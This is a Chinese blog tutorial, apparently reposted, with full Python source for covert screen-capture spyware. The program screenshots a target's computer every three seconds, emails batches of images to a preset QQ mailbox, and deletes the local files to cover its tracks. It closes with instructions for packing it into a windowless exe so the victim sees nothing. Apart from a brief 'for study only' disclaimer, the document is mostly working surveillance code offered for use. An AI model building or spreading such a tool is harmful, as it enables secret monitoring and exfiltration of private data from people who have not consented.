本文共 6554 字,大约阅读时间需要 21 分钟。
申明
本文章仅供学习使用先说一下功能的实现方式:
让对方的电脑自动截图,并且通过邮件的方式发给指定邮箱再说一下需要的包:需要下载pyautogui
以及email
包,下载方式为在cmd命令行下输入pip install
+ 包名,或者python -m pip install
+ 包名。
首先,我们import一些库
import os #os库主要用于人机交互,可以新建文件夹、执行cmd命令以及列出文件夹内文件名import pyautogui #用于截图import time #计时
然后,再import一些库
import smtplibfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.header import Headerfrom email.mime.image import MIMEImagefrom email.utils import formatdatefrom email.mime.application import MIMEApplication
这些库主要用于发送邮件
然后,开始真正的正文部分:
def screenshot(num): img = pyautogui.screenshot() #截取屏幕 img.save("D:/123/" + str(num) + '.jpg') #保存数据
这个函数很简单,仅两行。第一行的意思是将当前的屏幕以数据的方式保存到img变量中,第二行的意思是将img的数据保存到对应的路径中。路径可以自行设定,这里设为D盘。
def sendmail(list): mail_host = 'smtp.qq.com' sender = 'xxxxxx@qq.com'#发送者的邮箱 sendpw = 'xxxxxx'#密码或者授权码 receiver = ['xxxxxx@qq.com']#接受者邮件 message = MIMEMultipart() message['From'] = Header("EGG's PC",'utf-8') message['To'] = Header("sr",'utf-8') subject = 'EGG' message['Subject'] = Header(subject,'utf-8') #添加图片 for i in list: with open("D:/123/" + i,"rb")as f: part2 = MIMEApplication(f.read()) part2['Content-Type'] = 'application/octet-stream' part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i message.attach(part2) try: smtpObj = smtplib.SMTP_SSL(mail_host) smtpObj.connect(mail_host,465) smtpObj.login(sender,sendpw) smtpObj.sendmail(sender,receiver[0],message.as_string()) print("OK") except: print("NO")
这一段的代码量有点大,我们分开来讲。
首先:mail_host = 'smtp.qq.com'sender = 'xxxxxx@qq.com'#发送者的邮箱sendpw = 'xxxxxx'#密码或者授权码receiver = ['xxxxxx@qq.com']#接受者邮件
因为我们通过python自动发邮件,所以需要在登录邮箱的服务器,然后再发送信息。
这一块的代码主要是提供登录信息,提供邮箱服务器地址、发送者的账号密码以及接受者的地址,这里可以添加多个接受者,在列表内用逗号隔开就行。message = MIMEMultipart() #申明变量message['From'] = Header("EGG's PC",'utf-8') #设置头message['To'] = Header("sr",'utf-8') #设置发送给谁subject = 'EGG' #设置主题message['Subject'] = Header(subject,'utf-8')
在这块代码中,我们先申明一个变量message接收数据(这个时候message还为空,需要后面添加)
然后再给message设置各种格式,给大家看看效果图: 上面的三行分别是Subject,From,以及To。 这里由于编码的原因所以变乱码了,用英文来表达就比较好。#添加图片for i in list: with open("D:/123/" + i,"rb")as f: part2 = MIMEApplication(f.read()) part2['Content-Type'] = 'application/octet-stream' part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i message.attach(part2)
这个list是由函数传入的一个列表,里面装了我们需要加入到message的图片的名字(比如1.jpg,2.jpg啥的)。
for i in list:
这一句将list的变量依次复制给变量i
,i
是图片的名字,接下来便是以二进制的方式打开文件,并且赋值给变量part2
,这个part2是我们需要添加到message中的。 接下来给message设置一下格式,将'Content-Type'
设置为'application/octet-stream'
,将'Content-Disposition'
设置为'attachment'
,最后再附加上filename。因为图片是保存在D:/123
中,所以文件名前面加上路径。 最后,利用attach
将内容添加进我发送的信息中。因为这里只发送图片,便只讲图片的添加方式,如果添加其他类型的文件也一样的,改一下文件名即可。 try: smtpObj = smtplib.SMTP_SSL(mail_host) #建立smtp连接 smtpObj.connect(mail_host,465) #利用465端口连接 smtpObj.login(sender,sendpw) #登录 smtpObj.sendmail(sender,receiver[0],message.as_string()) #发送信息 print("OK")except: print("NO")
前面将信息准备好,全部存放在message中,这里需要将信息发送到指定的邮箱中。于是先建立SMTP连接,用SSL方式连接更可靠。
本来发送端口是25端口,但是这个端口的漏洞比较多,所以现在一般被关掉,用465端口。 然后利用账号密码登录邮箱,这里注意,填的sendpw一般是授权码。 最后就是将信息发出。接下来讲一下主函数:
if __name__ == "__main__": max_num = 10 li = os.listdir("D:/") if "123" not in li: os.mkdir("D:/123") i = 0 while True: screenshot(i) time.sleep(3) i += 1 if i % max_num == 0: list = os.listdir("D:/123/") print(list) sendmail(list) os.popen(R"del D:\123\*.jpg")
首先,设定一个max_num,毕竟不能每生成一张图片就发送过来,那样需要打开的邮件要非常多。但是也不能堆成一堆了再发过来,图片太大可能导致发送失败。
li = os.listdir("D:/")if "123" not in li: os.mkdir("D:/123")
os.listdir()
函数可以列出对应文件夹下有哪些文件或者文件夹,以列表的形式返回。判断我们需要的123
文件夹是否已经建立,若没有建立,那就利用os.mkdir()
函数新建一个123
文件夹。
i = 0while True: screenshot(i) #截图并保存 time.sleep(3) #休眠3秒 i += 1 #计数 if i % max_num == 0: #每一定数量的图片汇总后再发送 list = os.listdir("D:/123/") #获得当前文件夹下所有图片的文件名 print(list) #显示一下是哪几张图片,可以不要 sendmail(list) #发送邮件 os.popen(R"del D:\123\*.jpg") #清空文件夹下所有图片
首先利用前面定义的screen()函数截图,然后休眠一段时间。
然后每10张图片汇总后对图片进行发送。 最后利用os.popen()
函数执行cmd命令。cmd命令为del *.jpg
用来清空所有的jpg文件。但是我们需要清空的不是当前目录下的文件,而是D:/123
下的文件,所以需要加上对应路径,也就成为了del D:\123\*.jpg
但是在python中,\
是反斜杠,起到转义作用,比如\n
是换行的意思。如果用在字符串中,系统会默认是转义字符的意思,而不是路径名。解决方法有两个: 1.字符前面加一个R或r,例:R"del D:\123\*.jpg"
2.将\
本身转义,例:del D:\\123\\*.jpg
讲解结束,挂上完整代码供大家使用: import osimport pyautoguiimport timeimport sysimport smtplibfrom email.mime.text import MIMETextfrom email.mime.multipart import MIMEMultipartfrom email.header import Headerfrom email.mime.image import MIMEImagefrom email.utils import formatdatefrom email.mime.application import MIMEApplicationimport email.mime.multipartimport email.mime.textdef screenshot(num): img = pyautogui.screenshot() #path = "C:\Users\Administrator\Pic\" + str(num) + '.jpg' img.save("D:/123/" + str(num) + '.jpg')def sendmail(list): mail_host = 'smtp.qq.com' sender = 'xxxxxx@qq.com'#发送者的邮箱 sendpw = 'xxxxxx'#密码或者授权码 receiver = ['xxxxxx@qq.com']#接受者邮件 message = MIMEMultipart() message['From'] = Header("EGG's PC",'utf-8') message['To'] = Header("sr",'utf-8') subject = 'EGG' message['Subject'] = Header(subject,'utf-8') #添加图片 for i in list: with open("D:/123/" + i,"rb")as f: part2 = MIMEApplication(f.read()) part2['Content-Type'] = 'application/octet-stream' part2['Content-Disposition'] = 'attachment;filename='+"D:/123/" + i message.attach(part2) try: smtpObj = smtplib.SMTP_SSL(mail_host) smtpObj.connect(mail_host,465) smtpObj.login(sender,sendpw) smtpObj.sendmail(sender,receiver[0],message.as_string()) print("OK") except: print("NO") if __name__ == "__main__": max_num = 10 li = os.listdir("D:/") if "123" not in li: os.mkdir("D:/123") i = 0 while True: screenshot(i) time.sleep(3) i += 1 if i % max_num == 0: list = os.listdir("D:/123/") print(list) sendmail(list) os.popen(R"del D:\123\*.jpg")
代码讲解结束了,这里附上几点注意事项:
pyinstaller
命令来打包文件,将py文件打包成exe文件。没有pyinstaller库的可以在cmd下利用pip install pyinstaller
或者python -m pip install pyinstaller
。使用的方式为:在cmd下,切换到对应目录,执行:pyinstaller -F xxx.py -n +你希望转成的exe的名字 -w
-F
后面跟py文件的名字,-n
后面跟你想要的exe的名字,-w
是静默运行的意思,也就是说当对方双击exe文件时不会出现窗口。转载地址:http://uxpbi.baihongyu.com/